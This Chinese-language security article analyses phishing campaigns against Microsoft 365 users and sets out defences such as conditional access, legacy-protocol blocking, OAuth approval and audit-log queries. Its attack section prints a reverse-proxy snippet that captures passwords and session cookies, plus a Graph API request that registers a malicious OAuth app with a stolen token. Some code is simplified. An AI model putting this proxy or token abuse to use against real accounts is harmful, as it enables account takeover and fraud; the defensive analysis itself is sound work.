摘要
2025年第三季度,网络安全机构监测到多起针对Microsoft 365(M365)用户的高级钓鱼攻击活动。此类攻击不再依赖粗劣仿冒,而是深度嵌入用户日常办公行为模式,通过伪造“存储配额警告”“密码即将过期”“文档共享请求”等高可信度通知,诱导用户在无警觉状态下完成凭证提交甚至主动批准MFA推送。攻击者利用被攻陷的合法域名或低信誉云存储(如Azure Blob、GitHub Pages)托管高度还原的登录页面,并部署实时反向代理中继真实认证流程,实现凭证与一次性验证码的同步捕获。得手后,攻击者迅速注册恶意OAuth应用、配置邮件规则以建立持久化访问,并利用受控账户发起内部横向钓鱼与商业邮件欺诈(BEC)。本文系统剖析该攻击链的技术细节,指出其成功核心在于对“生产力惯性”——即用户对高频办公操作的自动化响应倾向——的精准利用。在此基础上,提出一套融合条件访问策略、OAuth授权管控、遗留协议阻断与行为异常检测的纵深防御体系,并给出Azure AD策略配置示例与日志分析代码片段。研究表明,仅靠用户教育不足以应对此类情境化欺骗,必须通过架构级控制压缩攻击面。本研究为云办公环境下的身份安全防护提供了可落地的技术路径。
关键词:Microsoft 365;钓鱼攻击;生产力惯性;OAuth滥用;MFA中继;条件访问;遗留协议;统一审计日志

1 引言
随着远程办公常态化,Microsoft 365已成为全球企业数字协作的核心平台。据微软2025年财报,其活跃商业用户数已突破3.8亿。然而,这一集中化身份入口也使其成为网络攻击的首要目标。传统钓鱼攻击多以“账户异常”“发票待查”等通用话术诱导点击,但近期出现的新一轮攻击展现出显著的行为工程特征:攻击者不再试图制造恐慌,而是复用用户每日重复的操作语境,将恶意请求无缝嵌入正常工作流中。
例如,一封标题为“您有1个未读的共享文档”的邮件,其发件人显示为“Microsoft SharePoint no-reply@microsoft.com”,内容包含一个“立即查看”按钮。用户点击后跳转至看似官方的登录页(URL为https://microsoft-office[.]com/login),输入账号密码后收到Authenticator推送,出于习惯点击“批准”。整个过程符合用户对M365交互的预期,几乎不触发怀疑。然而,后台实则由攻击者控制的反向代理实时转发请求至真实login.microsoftonline.com,完成认证后截获会话Cookie与刷新令牌。
此类攻击的成功率远高于传统钓鱼。根据Cato Networks 2025年9月报告,在某美资投资公司测试中,该类邮件的点击率达41%,凭证提交率达28%。更严重的是,攻击者在获取初始访问权限后,能快速横向移动,造成数据泄露、BEC欺诈乃至供应链污染。
本文聚焦于此类“情境化钓鱼”的技术实现、绕过机制与防御对策。全文结构如下:第二部分详述攻击链各阶段技术细节;第三部分分析现有防护措施的失效原因;第四部分提出多层次防御架构并附配置与代码示例;第五部分讨论用户教育的局限性与补充策略;第六部分总结研究发现。

2 攻击链技术剖析
2.1 情境化诱饵构造
攻击者精心选择三类高频场景作为诱饵:
存储配额警告:“您的OneDrive存储空间已使用95%”;
密码策略提醒:“您的密码将在24小时内过期,请立即更新”;
文档协作请求:“John邀请您编辑《Q3预算草案》”。
这些内容均来自M365真实通知模板,且常通过移动端推送(如Outlook App通知)增强紧迫感。邮件HTML中嵌入真实Microsoft Logo与CSS样式,提升视觉可信度。

2.2 登录门户伪装与反向代理
恶意登录页通常托管于两类位置:
被攻陷的合法域名:如某合作方网站遭入侵,子域office.[legit-vendor].com被用于钓鱼;
低信誉云静态站点:如GitHub Pages (*.github.io)、Azure Blob Storage (*.blob.core.windows.net)。
页面前端完全克隆Microsoft登录UI,后端部署Node.js反向代理:
// 简化版反向代理示例
const express = require('express');
const { createProxyMiddleware } = require('http-proxy-middleware');
const app = express();
app.use('/login', (req, res, next) => {
// 记录用户提交的凭证
if (req.method === 'POST') {
logCredentials(req.body.username, req.body.password);
}
next();
});
app.use('/login', createProxyMiddleware({
target: 'https://login.microsoftonline.com',
changeOrigin: true,
onProxyReq: (proxyReq, req) => {
// 转发原始请求头,维持会话连续性
proxyReq.setHeader('X-Forwarded-For', req.ip);
},
onProxyRes: (proxyRes, req, res) => {
// 拦截Set-Cookie,提取会话令牌
const cookies = proxyRes.headers['set-cookie'];
if (cookies) {
extractSessionToken(cookies);
}
}
}));
app.listen(443);
该代理确保用户看到的是真实Microsoft页面(含有效TLS证书),同时后台窃取凭证与会话。

2.3 MFA推送诱导与OAuth持久化
为绕过多因素认证,攻击者在用户首次登录后,立即触发“验证应用需要刷新”提示,诱导用户再次批准Authenticator推送。由于推送内容仅显示“验证你的身份”,用户极易误判为正常流程。
获得有效会话后,攻击者通过Graph API注册恶意OAuth应用:
POST https://graph.microsoft.com/v1.0/applications
Content-Type: application/json
Authorization: Bearer <stolen_token>
{
"displayName": "Document Sync Helper",
"requiredResourceAccess": [
{
"resourceAppId": "00000003-0000-0000-c000-000000000000", // Microsoft Graph
"resourceAccess": [
{ "id": "Mail.Read", "type": "Scope" },
{ "id": "Files.Read.All", "type": "Scope" },
{ "id": "Chat.Read", "type": "Scope" }
]
}
]
}
该应用随后被授予管理员同意(利用用户权限漏洞),获得长期访问令牌。
2.4 内部横向与隐蔽通信
攻击者创建邮件规则自动转发含“合同”“付款”“发票”等关键词的邮件至外部地址,并删除原邮件以规避察觉。同时,利用受控账户向同事发送“共享财务表格”链接,发起内部钓鱼,形成二次感染链。
3 现有防护机制的局限性
当前企业普遍采用以下措施,但在面对上述攻击时存在明显短板:
邮件网关过滤:难以识别托管于合法云服务的钓鱼页;
用户安全意识培训:无法克服“生产力惯性”下的自动化响应;
基础MFA启用:无法防御推送批准诱导与会话令牌窃取;
传统SIEM告警:缺乏对OAuth应用注册、邮件规则变更等高风险操作的细粒度监控。
尤其关键的是,大量组织仍允许IMAP、POP3等遗留协议访问邮箱,而这些协议不支持现代认证,一旦凭证泄露即可直接登录,绕过所有MFA保护。
4 多层次防御架构设计
4.1 条件访问策略(Conditional Access)
通过Azure AD条件访问,限制高风险上下文中的登录行为:
{
"displayName": "Block High-Risk Logins",
"conditions": {
"clientAppTypes": ["browser", "mobileAppsAndDesktopClients"],
"locations": { "includeLocations": ["All"], "excludeLocations": ["Corporate_Networks"] },
"devices": { "deviceFilter": "not (device.trustType -eq 'AzureAD')" }
},
"grantControls": {
"operator": "AND",
"builtInControls": ["mfa", "compliantDevice"]
}
}
该策略要求非企业网络或非合规设备登录时必须完成MFA且设备合规。
4.2 阻断遗留协议
通过Exchange Online PowerShell禁用不安全协议:
Set-CASMailbox -Identity user@company.com -ImapEnabled $false -PopEnabled $false -MapiEnabled $false
或全局策略:
Get-OrganizationConfig | Set-OrganizationConfig -OAuth2ClientProfileEnabled $true
Set-AuthenticationPolicy -AllowBasicAuthActiveSync $false -AllowBasicAuthAutodiscover $false
4.3 OAuth授权审批与监控
启用“管理员审批”模式,要求所有新应用注册需经IT审核:
Set-MgPolicyAuthorizationPolicy -PermissionGrantPolicyIdsAssignedToDefaultUserRole @("microsoft-approval")
同时,通过Microsoft Defender for Cloud Apps监控异常应用行为。
4.4 统一日志与异常检测
利用Microsoft 365统一审计日志,编写KQL查询检测可疑活动:
AuditLogs
| where Operation in ("Add service principal.", "Set-MailboxRule")
| where ResultStatus == "Success"
| project TimeGenerated, UserId, Operation, Parameters
| join (
SigninLogs
| where RiskLevelDuringSignIn != "none"
| project UserId, IPAddress, Location
) on UserId
该查询可关联高风险登录与后续OAuth注册或邮件规则创建。
5 用户教育的再定位
单纯告诫“勿点可疑链接”已不足。应转向情境化训练:
演示如何检查浏览器地址栏中的根域名(如login.microsoftonline.com而非microsoft-office.com);
教育用户:MFA推送不应在无主动登录时出现;
推广FIDO2安全密钥:因其基于公私钥认证,即使会话被中继,攻击者也无法重放。
FIDO2注册示例(WebAuthn):
navigator.credentials.create({
publicKey: {
challenge: Uint8Array.from("random_challenge", c => c.charCodeAt(0)),
rp: { name: "Company Inc", id: "company.com" },
user: { id: userId, name: "user@company.com", displayName: "User" },
pubKeyCredParams: [{ type: "public-key", alg: -7 }],
authenticatorSelection: { residentKey: "required" }
}
});
此类密钥不受中间人攻击影响,显著降低OTP窃取价值。
6 结语
新一轮针对Microsoft 365的钓鱼攻击标志着社会工程进入“情境嵌入”阶段。攻击者不再制造异常,而是利用用户对日常办公流程的信任惯性,将恶意操作伪装成正常行为的一部分。这种策略的成功揭示了传统边界防御与通用安全意识的不足。
有效的应对必须从架构层面重构:通过条件访问限制风险上下文,通过阻断遗留协议消除弱认证入口,通过OAuth审批控制第三方应用权限,并通过统一日志实现行为闭环监控。用户教育需从“识别恶意”转向“验证正常”,强调对根域名、证书与认证上下文的主动核查。
值得注意的是,没有任何单一控制能完全杜绝此类攻击。唯有将技术控制、流程治理与人员意识编织成纵深防御网络,才能在保持生产力的同时,抵御日益精细化的身份威胁。未来工作可探索基于用户行为基线的自适应认证,但其前提是建立在本文所述的基础控制之上。
编辑:芦笛(公共互联网反网络钓鱼工作组)
1903

被折叠的 条评论
为什么被折叠?



